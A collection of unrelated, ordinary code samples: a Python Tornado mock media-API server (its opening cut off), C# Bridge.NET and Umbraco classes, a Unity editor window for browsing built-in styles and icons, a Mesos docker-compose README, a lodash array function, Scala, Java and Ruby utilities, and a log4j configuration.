            source_file = SOURCE_FILE_REGEX.findall(xml_incoming)[0]
            xml_outgoing = self._add_media(source_file)
        elif '<Action>DeleteMedia</Action>' in xml_incoming:
            tag = MEDIA_SHORT_LINK_REGEX.findall(xml_incoming)[0]
            xml_outgoing = self._delete_media(tag)
        else:
            raise NotImplementedError(xml_incoming)

        print "OUTGOING ".ljust(79, '=')
        print xml_outgoing
        self.write(xml_outgoing)

    def _get_status(self, tag):
        status = self.DATABASE.get(tag, {'status': 'Finished'})['status']

        xml_outgoing = (
            GET_STATUS_XML
            % {'tag': tag,
               'status': status,
               }
        )
        return xml_outgoing

    def _get_medialist(self, status):
        tags = []
        for tag, stuff in self.DATABASE.items():
            if isinstance(stuff, dict) and stuff.get('status') == status:
                tags.append(tag)

        media_blocks = [
            _SAMPLE_MEDIALIST_MEDIA_XML
            % {'tag': tag, 'status': status}
            for tag in tags
        ]
        xml_outgoing = (
            SAMPLE_MEDIALIST_XML % {'media': ''.join(media_blocks)}
        )
        return xml_outgoing

    def _add_media(self, source_file):
        shortcode = None
        result = None

        if source_file not in self.DATABASE:
            for key in self.DATABASE:
                if source_file.startswith(key):
                    result = self.DATABASE[key]
                    break

        if source_file in self.DATABASE:
            result = self.DATABASE[source_file]

        if result:
            if result.get('shortcode'):
                if result.get('shortcode') == '*random_shortcode*':
                    shortcode = random_shortcode()
                    print "Generating new shortcode", shortcode
                    self.DATABASE[shortcode] = {'status': 'Processing'}

        if shortcode:
            return _SAMPLE_ADD_MEDIA_XML % {'shortcode': shortcode}
        else:
            return _SAMPLE_ADD_MEDIA_ERROR_XML

    def _delete_media(self, tag):
        del self.DATABASE[tag]
        return _SAMPLE_DELETE_MEDIA_XML % {'shortcode': tag}

routes = [
    (r"/", MainHandler),
    #(r"/benchmark", BenchmarkHandler),
]

if __name__ == "__main__":
    options.parse_command_line()
    application = web.Application(
        routes,
        debug=options.debug,
    )

    print "Starting tornado on port", options.port
    application.listen(options.port)
    try:
        ioloop.IOLoop.instance().start()
    except KeyboardInterrupt:
        pass


text:
using Bridge.Test.NUnit;
using System.Collections.Generic;

namespace Bridge.ClientTest.Batch3.BridgeIssues
{
    [TestFixture(TestNameFormat = "#3390 - {0}")]
    public class Bridge3390
    {
        [Test]
        public static void TestTernaryAssigmnment()
        {
            string msg = (true) ? msg = "left" : msg = "right";
            Assert.AreEqual("left", msg, "true condition of inline if binds as expected.");

            string msg2 = (false) ? msg2 = "left" : msg2 = "right";
            Assert.AreEqual("right", msg2, "false condition of inline if binds as expected.");

            string msg3 = (false) ? msg3 = "left" : ((false) ? msg3 = "middle" : msg3 = "right");
            Assert.AreEqual("right", msg3, "false condition on chained inline if binds as expected.");

            string msg4 = (false) ? msg4 = "left" : ((true) ? msg4 = "middle" : msg4 = "right");
            Assert.AreEqual("middle", msg4, "true condition of chained inline if binds as expected.");
        }
    }
}


text:
using System;
using UnityEditor;
using UnityEngine;
using System.Collections.Generic;

public class BuiltInResourcesWindow : EditorWindow
{
    [MenuItem("Window/Built-in styles and icons")]
    public static void ShowWindow()
    {
        BuiltInResourcesWindow w = (BuiltInResourcesWindow)EditorWindow.GetWindow<BuiltInResourcesWindow>();
        w.Show();
    }

    private struct Drawing
    {
        public Rect Rect;
        public Action Draw;
    }

    private List<Drawing> Drawings;

    private List<UnityEngine.Object> _objects;
    private float _scrollPos;
    private float _maxY;
    private Rect _oldPosition;

    private bool _showingStyles = true;
    private bool _showingIcons = false;

    private string _search = "";

    void OnGUI()
    {
        if (position.width != _oldPosition.width && Event.current.type == EventType.Layout)
        {
            Drawings = null;
            _oldPosition = position;
        }

        GUILayout.BeginHorizontal();

        if (GUILayout.Toggle(_showingStyles, "Styles", EditorStyles.toolbarButton) != _showingStyles)
        {
            _showingStyles = !_showingStyles;
            _showingIcons = !_showingStyles;
            Drawings = null;
        }

        if (GUILayout.Toggle(_showingIcons, "Icons", EditorStyles.toolbarButton) != _showingIcons)
        {
            _showingIcons = !_showingIcons;
            _showingStyles = !_showingIcons;
            Drawings = null;
        }

        GUILayout.EndHorizontal();

        string newSearch = GUILayout.TextField(_search);
        if (newSearch != _search)
        {
            _search = newSearch;
            Drawings = null;
        }

        float top = 36;

        if (Drawings == null)
        {
            string lowerSearch = _search.ToLower();

            Drawings = new List<Drawing>();

            GUIContent inactiveText = new GUIContent("inactive");
            GUIContent activeText = new GUIContent("active");

            float x = 5.0f;
            float y = 5.0f;

            if (_showingStyles)
            {
                foreach (GUIStyle ss in GUI.skin.customStyles)
                {
                    if (lowerSearch != "" && !ss.name.ToLower().Contains(lowerSearch))
                        continue;

                    GUIStyle thisStyle = ss;

                    Drawing draw = new Drawing();

                    float width = Mathf.Max(
                        100.0f,
                        GUI.skin.button.CalcSize(new GUIContent(ss.name)).x,
                        ss.CalcSize(inactiveText).x + ss.CalcSize(activeText).x
                                      ) + 16.0f;

                    float height = 60.0f;

                    if (x + width > position.width - 32 && x > 5.0f)
                    {
                        x = 5.0f;
                        y += height + 10.0f;
                    }

                    draw.Rect = new Rect(x, y, width, height);

                    width -= 8.0f;

                    draw.Draw = () =>
                    {
                        if (GUILayout.Button(thisStyle.name, GUILayout.Width(width)))
                            CopyText("(GUIStyle)\"" + thisStyle.name + "\"");

                        GUILayout.BeginHorizontal();
                        GUILayout.Toggle(false, inactiveText, thisStyle, GUILayout.Width(width / 2));
                        GUILayout.Toggle(false, activeText, thisStyle, GUILayout.Width(width / 2));
                        GUILayout.EndHorizontal();
                    };

                    x += width + 18.0f;

                    Drawings.Add(draw);
                }
            }
            else if (_showingIcons)
            {
                if (_objects == null)
                {
                    _objects = new List<UnityEngine.Object>(Resources.FindObjectsOfTypeAll(typeof(Texture)));
                    _objects.Sort((pA, pB) => System.String.Compare(pA.name, pB.name, System.StringComparison.OrdinalIgnoreCase));
                }

                float rowHeight = 0.0f;

                foreach (UnityEngine.Object oo in _objects)
                {
                    Texture texture = (Texture)oo;

                    if (texture.name == "")
                        continue;

                    if (lowerSearch != "" && !texture.name.ToLower().Contains(lowerSearch))
                        continue;

                    Drawing draw = new Drawing();

                    float width = Mathf.Max(
                        GUI.skin.button.CalcSize(new GUIContent(texture.name)).x,
                        texture.width
                    ) + 8.0f;

                    float height = texture.height + GUI.skin.button.CalcSize(new GUIContent(texture.name)).y + 8.0f;

                    if (x + width > position.width - 32.0f)
                    {
                        x = 5.0f;
                        y += rowHeight + 8.0f;
                        rowHeight = 0.0f;
                    }

                    draw.Rect = new Rect(x, y, width, height);

                    rowHeight = Mathf.Max(rowHeight, height);

                    width -= 8.0f;

                    draw.Draw = () =>
                    {
                        if (GUILayout.Button(texture.name, GUILayout.Width(width)))
                            CopyText("EditorGUIUtility.FindTexture( \"" + texture.name + "\" )");

                        Rect textureRect = GUILayoutUtility.GetRect(texture.width, texture.width, texture.height, texture.height, GUILayout.ExpandHeight(false), GUILayout.ExpandWidth(false));
                        EditorGUI.DrawTextureTransparent(textureRect, texture);
                    };

                    x += width + 8.0f;

                    Drawings.Add(draw);
                }
            }

            _maxY = y;
        }

        Rect r = position;
        r.y = top;
        r.height -= r.y;
        r.x = r.width - 16;
        r.width = 16;

        float areaHeight = position.height - top;
        _scrollPos = GUI.VerticalScrollbar(r, _scrollPos, areaHeight, 0.0f, _maxY);

        Rect area = new Rect(0, top, position.width - 16.0f, areaHeight);
        GUILayout.BeginArea(area);

        int count = 0;
        foreach (Drawing draw in Drawings)
        {
            Rect newRect = draw.Rect;
            newRect.y -= _scrollPos;

            if (newRect.y + newRect.height > 0 && newRect.y < areaHeight)
            {
                GUILayout.BeginArea(newRect, GUI.skin.textField);
                draw.Draw();
                GUILayout.EndArea();

                count++;
            }
        }

        GUILayout.EndArea();
    }

    void CopyText(string pText)
    {
        TextEditor editor = new TextEditor();

        //editor.content = new GUIContent(pText); // Unity 4.x code
        editor.text = pText; // Unity 5.x code

        editor.SelectAll();
        editor.Copy();
    }
}


text:
![2014-08-25_mesos-feat](https://cloud.githubusercontent.com/assets/5406688/15591459/32bd1a8c-2395-11e6-8429-bb953308a944.png)

composed-mesos
--------------

Quick and portable way of setting up a mesos ecosystem for local dev environments.

Quick Start
--------------------
```sh
$ docker compose up -d
```

```
Creating composedmesos_zookeeper_1
Creating composedmesos_mesosmaster_1
Creating composedmesos_mesosslave_1
Creating composedmesos_marathon_1
Creating composedmesos_chronos_1
```

Find your docker machine IP address.

```sh
$ docker-machine ip
192.168.99.100
```

Services are available at:

```
http://192.168.99.100:5050/  - Mesos
http://192.168.99.100:8080/  - Marathon
http://192.168.99.100:4400/  - Chronos
```

To deploy an app via Marathon

```sh
curl -X POST -H "Content-Type: application/json" http://192.168.99.100:8080/v2/apps -d@my_app.json
```


text:
define(['../functions/createCallback'], function(createCallback) {

  /**
   * Used for `Array` method references.
   *
   * Normally `Array.prototype` would suffice, however, using an array literal
   * avoids issues in Narwhal.
   */
  var arrayRef = [];

  /** Native method shortcuts */
  var splice = arrayRef.splice;

  /**
   * Removes all elements from an array that the callback returns truey for
   * and returns an array of removed elements. The callback is bound to `thisArg`
   * and invoked with three arguments; (value, index, array).
   *
   * If a property name is provided for `callback` the created "_.pluck" style
   * callback will return the property value of the given element.
   *
   * If an object is provided for `callback` the created "_.where" style callback
   * will return `true` for elements that have the properties of the given object,
   * else `false`.
   *
   * @static
   * @memberOf _
   * @category Arrays
   * @param {Array} array The array to modify.
   * @param {Function|Object|string} [callback=identity] The function called
   *  per iteration. If a property name or object is provided it will be used
   *  to create a "_.pluck" or "_.where" style callback, respectively.
   * @param {*} [thisArg] The `this` binding of `callback`.
   * @returns {Array} Returns a new array of removed elements.
   * @example
   *
   * var array = [1, 2, 3, 4, 5, 6];
   * var evens = _.remove(array, function(num) { return num % 2 == 0; });
   *
   * console.log(array);
   * // => [1, 3, 5]
   *
   * console.log(evens);
   * // => [2, 4, 6]
   */
  function remove(array, callback, thisArg) {
    var index = -1,
        length = array ? array.length : 0,
        result = [];

    callback = createCallback(callback, thisArg, 3);
    while (++index < length) {
      var value = array[index];
      if (callback(value, index, array)) {
        result.push(value);
        splice.call(array, index--, 1);
        length--;
      }
    }
    return result;
  }

  return remove;
});


text:
using Umbraco.Cms.Core.Events;
using Umbraco.Cms.Core.Models;

namespace Umbraco.Cms.Core.Notifications;

public class DataTypeDeletingNotification : DeletingNotification<IDataType>
{
    public DataTypeDeletingNotification(IDataType target, EventMessages messages)
        : base(target, messages)
    {
    }
}


text:
$registerSplashScreen({
    id: "home.splash",
    templateUrl: "home.splash.html",
    body_height: 342,
    title: function () {
        return "Cool Home Splash " + Math.floor(Math.random() * 10);
    },
    on_close: function () {
        console.log("this is a close Splash alert!");
    },
    display_next_time: true,
    interception_points: ["Home"]
});


text:
package software.egger.restserver

import java.net.InetSocketAddress
import java.nio.ByteBuffer
import java.nio.channels.SocketChannel
import java.util.logging.Logger

import org.rogach.scallop._

class ShutdownRestServerConf(arguments: Seq[String]) extends ScallopConf(arguments)
{
  val port = opt(default = Some(8005))
  val shutdown = opt(default = Some("shutdown"))
}

object ShutdownRestServer
{
  private val logger: Logger = Logger.getLogger("software.egger.restserver.ShutdownRestServer")

  def main(args: Array[String])
  {
    val conf = new ShutdownRestServerConf(args)
    shutdownRestServer(conf.port(), conf.shutdown())
  }

  def shutdownRestServer(port: Int, phrase: String)
  {
    logger.info(s"Trying to shutdown server at port: $port using $phrase")
    val socketChannel = SocketChannel.open()
    socketChannel.connect(new InetSocketAddress("localhost", port))
    socketChannel.write(ByteBuffer.wrap(phrase.getBytes))
    socketChannel.close()
  }
}


text:
package com.sequenceiq.cloudbreak.converter;

import org.springframework.stereotype.Component;

import com.sequenceiq.cloudbreak.api.model.InstanceMetaDataJson;
import com.sequenceiq.cloudbreak.domain.InstanceMetaData;

@Component
public class MetaDataToJsonConverter extends AbstractConversionServiceAwareConverter<InstanceMetaData, InstanceMetaDataJson> {

    private static final String NOT_AVAILABLE = "N/A";

    @Override
    public InstanceMetaDataJson convert(InstanceMetaData entity) {
        InstanceMetaDataJson metaDataJson = new InstanceMetaDataJson();
        metaDataJson.setPrivateIp(entity.getPrivateIp());
        if (entity.getPublicIp() != null) {
            metaDataJson.setPublicIp(entity.getPublicIp());
        } else if (entity.getPrivateIp() != null) {
            metaDataJson.setPublicIp(NOT_AVAILABLE);
        }
        metaDataJson.setSshPort(entity.getSshPort());
        metaDataJson.setAmbariServer(entity.getAmbariServer());
        metaDataJson.setInstanceId(entity.getInstanceId());
        metaDataJson.setDiscoveryFQDN(entity.getDiscoveryFQDN());
        metaDataJson.setInstanceGroup(entity.getInstanceGroup().getGroupName());
        metaDataJson.setInstanceStatus(entity.getInstanceStatus());
        metaDataJson.setInstanceType(entity.getInstanceMetadataType());
        return metaDataJson;
    }
}


text: Grabs transactions using QBO API to dumps them to active gsheet


text:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">

<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>

	<appender name="FILE" class="org.apache.log4j.DailyRollingFileAppender">
        <!-- suffix is _log4j since supervisord writes to name.log -->
		<param name="File" value="/tmp/ImhotepDaemon_log4j.log" />
		<param name="DatePattern" value="'.'yyyy-MM-dd" />
		<param name="BufferedIO" value="false" />
		<param name="Append" value="true" />
		<layout class="org.apache.log4j.PatternLayout">
			<param name="ConversionPattern" value="%d %-5p [%c{1}] %m%n" />
		</layout>
	</appender>

	<root>
		<priority value="INFO" />
		<appender-ref ref="FILE" />
	</root>

</log4j:configuration>


text:
Dir[File.join(File.dirname(__FILE__), 'night_watch', '**', '*.rb')].each { |file| require file }

module NightWatch
end